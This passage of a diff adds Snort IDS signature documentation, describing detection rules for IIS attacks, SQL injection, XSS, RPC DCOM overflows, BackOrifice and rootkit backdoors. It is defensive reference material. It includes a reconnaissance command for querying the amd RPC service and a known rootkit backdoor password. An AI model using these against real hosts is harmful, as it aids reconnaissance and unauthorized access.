+Brian Caswell <bmc@sourcefire.com> 
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/985.txt
+++ snort-2.8.5.2/doc/signatures/985.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+985
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000696.txt
+++ snort-2.8.5.2/doc/signatures/100000696.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000696
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "VCard PRO" application running on a webserver. Access to the file "create.php" with SQL commands being passed as the "card_id" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "card_id" parameter in the "create.php" script used by the "VCard PRO" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VCard PRO
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2179.txt
+++ snort-2.8.5.2/doc/signatures/2179.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+
+Sid:
+2179
+
+--
+
+Summary:
+This event is generated when a remote attacker attempts to exploit a 
+format string vulnerability against an FTP server during authentication.
+
+--
+
+Impact:
+Attempted Admin.  A successful format string attack could result in the
+execution of arbitrary code with the same privileges as the user running
+the FTP daemon.
+
+--
+
+Detailed Information:
+Several FTP daemons are vulnerable to format string exploits during
+authentication to the FTP server.  A successful exploit attempt could 
+result in the remote attacker gaining unauthorized root access to the 
+vulnerable system.
+
+--
+Affected Systems:
+	SmallFTP v0.99
+
+--
+
+Attack Scenarios:
+A remote attacker could use a publicly available script to exploit the 
+vulnerability an gain control of the target host.
+
+--
+Ease of Attack:
+Simple. Numerous attack scripts exist to exploit this vulnerabiliy.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+SmallFTPD has released an updated software package that resolve the 
+problem. It can be downloaded from:
+http://smallftpd.free.fr
+
+--
+
+Contributors:
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+http://www.securityfocus.com/bid/7474
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2416.txt
+++ snort-2.8.5.2/doc/signatures/2416.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 
+2416
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic 
+is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp 
+server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of
+spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or 
+it could be an attempt to compromise the FTP server by overflowing a 
+buffer in the FTP daemon or service.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party 
+using FTP.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain 
+access to a host, then upload a Trojan Horse program to gain control of 
+that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected 
+network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1955.txt
+++ snort-2.8.5.2/doc/signatures/1955.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1955
+
+--
+Summary:
+This event is generated when a request is made to discover the version and configuration information associated with the Remote Procedure Call (RPC) amd.
+
+--
+Impact:
+Information disclosure.  This request can allow an attacker to discover the version of amd running as well as other configuration information about the host.
+
+--
+Detailed Information:
+The amd RPC service implements the automounter daemon on UNIX hosts.  The amd service automatically mounts and unmounts requested file systems.  An attacker can make a request to amd to discover its version number. A successful request will return the version number along with other valuable configuration information about the server, including the architecture.  
+
+--
+Affected Systems:
+Any system running amd.
+
+--
+Attack Scenarios:
+An attacker may request the version number associated with amd.  The response may give an attacker valuable configuration information about the host.
+
+--
+Ease of Attack:
+Simple.  Execute the command 'amq -v -T -h hostname/IP'  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3352.txt
+++ snort-2.8.5.2/doc/signatures/3352.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3352
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000655.txt
+++ snort-2.8.5.2/doc/signatures/100000655.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000655
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "comment" parameter in the "guestbook.php" 
+script used by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2801.txt
+++ snort-2.8.5.2/doc/signatures/2801.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2801
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure resume_master_activity
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2279.txt
+++ snort-2.8.5.2/doc/signatures/2279.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2279
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the PHP web application MediaWiki running on a server.
+
+--
+Impact:
+Possible execution of arbitrary code and unauthorized administrative
+access to the target system.
+
+--
+Detailed Information:
+This event indicates that an attempt may have been made to exploit a
+known vulnerability in the PHP application MediaWiki . This application
+does not perform stringent checks when handling user input, this may 
+lead to the attacker being able to execute PHP code and include php files 
+of the attackers choosing.
+
+--
+Affected Systems:
+	MediaWiki MediaWiki-stable 20031107
+	MediaWiki MediaWiki-stable 20030829
+
+--
+Attack Scenarios:
+An attacker can exploit weaknesses to gain access as the administrator 
+by supplying input of their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. No exploit code is required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3449.txt
+++ snort-2.8.5.2/doc/signatures/3449.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid:
+3449
+
+--
+Summary:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This rule does not generate an event. It is used in conjunction with
+other rules to reduce the possibility of false postives from occuring.
+
+--
+Affected Systems:
+	NA
+
+--
+Attack Scenarios:
+NA
+
+--
+Ease of Attack:
+NA
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+NA
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1598.txt
+++ snort-2.8.5.2/doc/signatures/1598.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1598
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2440.txt
+++ snort-2.8.5.2/doc/signatures/2440.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2440
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Real Networks RealPlayer/RealOne player.
+
+--
+Impact:
+Serious. Execution of arbitrary code.
+
+--
+Detailed Information:
+RealNetworks RealPlayer/RealOne player is a streaming media player for
+Microsoft Windows, Apple Macintosh and UNIX/Linux based operating systems.
+
+A buffer overrun condition is present in some versions of the player
+that may present a remote attacker with the opportunity to execute code
+of their choosing on a client using one of these players.
+
+--
+Affected Systems:
+	Real Networks RealOne Desktop Manager
+	Real Networks RealOne Enterprise Desktop 6.0.11 .774
+	Real Networks RealOne Player 1.0
+	Real Networks RealOne Player 2.0
+	Real Networks RealOne Player 6.0.11 .868
+	Real Networks RealOne Player version 2.0 for Windows
+	Real Networks RealPlayer 8.0 Win32
+	Real Networks RealPlayer 8.0 Unix
+	Real Networks RealPlayer 8.0 Mac
+	Real Networks RealPlayer 10.0 BETA
+
+--
+Attack Scenarios:
+An attacker may supply a malformed file to the client to exploit the
+issue.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2477.txt
+++ snort-2.8.5.2/doc/signatures/2477.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2477
+
+--
+Summary:
+This event is generated when an attempt is made to create an AndX entry
+via SMB.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to create an AndX entry
+via SMB.
+
+--
+Affected Systems:
+	Windows systems
+
+--
+Attack Scenarios:
+An attacker may attempt to bind to the service to manipulate host
+settings then create an entry in the winreg service.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Microsoft Technet
+http://support.microsoft.com/support/kb/articles/q153/1/83.asp
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0562
+Winreg
+http://www.rutherfurd.net/python/winreg/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3170.txt
+++ snort-2.8.5.2/doc/signatures/3170.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3170
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000531.txt
+++ snort-2.8.5.2/doc/signatures/100000531.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000531
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "BtitTracker" application running on a webserver. Access 
+to the file "torrents.php" with SQL commands being passed as the "by" parameter 
+may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "by" parameter in the "torrents.php" script used by the 
+"BtitTracker" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BtitTracker
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1535.txt
+++ snort-2.8.5.2/doc/signatures/1535.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1535
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2593.txt
+++ snort-2.8.5.2/doc/signatures/2593.txt
@@ -0,0 +1,68 @@
+Rule:
+
+
+--
+Sid:
+2593
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the Mail Transfer Agent Exim.
+
+--
+Impact:
+A successful attack may allow the execution of arbitrary code on a vulnerable
+server with the privilege of the process running Exim.
+
+--
+Detailed Information:
+Exim is vulnerable to a buffer overflow, permitting an attacker to execute
+arbitrary code.  The vulnerability may be exploited if Exim is configured to
+verify header syntax in the e-mail message body.  This is not the default
+configuration.  If an attacker supplies a large number of spaces after certain
+header fields, it may be possible to cause a buffer overflow.
+
+--
+Affected Systems:
+Exim prior to version 4.34
+
+--
+Attack Scenarios:
+An attacker can create and send mail with a malformed header,
+possibly causing a buffer overflow and permitting the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://www.securityfocus.com/bid/10291
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0400
+
+Other:
+http://www.guninski.com/exim1.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/115-1.txt
+++ snort-2.8.5.2/doc/signatures/115-1.txt
@@ -0,0 +1,71 @@
+
+
+Rule:
+
+--
+Sid:
+115-1
+
+--
+Summary:
+This event is generated when the pre-processor asn1 detects network
+traffic that may constitute an attack. Specifically an indefinite asn.1
+length encoding was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the asn1 pre-processor detects network
+traffic that may consititute an attack.
+
+Indefinite Lengths are conceptually like BLOB data.  The upper bit of
+the first byte is set to one, and the bottom seven bits are zero.  The
+data value follows immediately, and continues until two zero-bytes are
+encountered.
+
+More information on this event can be found in the individual
+pre-processor documentation README.asn1 in the docs directory of the
+snort source. Detailed instructions and examples on how to tune and use
+the pre-processor can also be found in the same document.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+ASN1 Information Site:
+http://asn1.elibel.tm.fr/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2115.txt
+++ snort-2.8.5.2/doc/signatures/2115.txt
@@ -0,0 +1,55 @@
+Rule:
+
+--
+Sid:
+2115
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability in the Mike Bobbit Album.pl cgi application.
+
+--
+Impact:
+Execution of arbitrary code with the privileges of the user executing the cgi application.
+
+--
+Detailed Information:
+The MIke Bobbit Album is a Perl CGI script used for managing pictures on a webserver.
+
+A vulnerability exists such that an attacker may execute arbitrary commands on the server when a non-standard configuration file is used.
+
+Affected Systems:
+	Mike Bobbit Album 0.61.
+
+--
+Attack Scenarios:
+Simple.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/7444
+
+--
--- snort-2.8.5.2.orig/doc/signatures/217.txt
+++ snort-2.8.5.2/doc/signatures/217.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+217
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a 
+Telnet server using the phrase "hax0r". This is a known password for 
+the sm4ck Linux rootkit.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects Linux operating systems:
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and 
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/116.txt
+++ snort-2.8.5.2/doc/signatures/116.txt
@@ -0,0 +1,104 @@
+Rule:
+Backdoor.BackOrifice
+
+--
+Sid:
+112, 116
+
+--
+Summary:
+Backdoor.BackOrifice is a Trojan Horse.
+
+Server Port: 31337 although in later versions this port can be changed
+to a value between 1 and 65535
+Protocol: UDP although in later versions TCP can also be used
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to. This Trojan
+also has the ability to delete data, steal passwords and disable the
+machine.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+
+The Trojan changes system registry settings to add the BackOrifice sever
+to programs normally started on boot. Due to the nature of this Trojan
+it is unlikely that the attacker's client IP address has been spoofed.
+
+The default name of the server application is UMGR32, which can be
+changed on first use. The new application may be installed in the system
+or system32 direcory and the original may also be deleted.
+
+Event messages relating to activity from this Trojan are:
+
+	SID	Message
+	---	-------
+	112	BackOrifice access (outgoing TCP connection)
+	116	BackOrifice access (incoming UDP connection)
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
+
+HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
+
+Registry keys added may vary, look for spurious entries in the above
+locations.
+
+BackOrifice may hide the process from viewing inthe Windows task
+manager. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS399
+
+Symantec Security Response
+http://www.symantec.com/avcenter/venc/data/back.orifice2000.trojan.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1392.txt
+++ snort-2.8.5.2/doc/signatures/1392.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1392
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
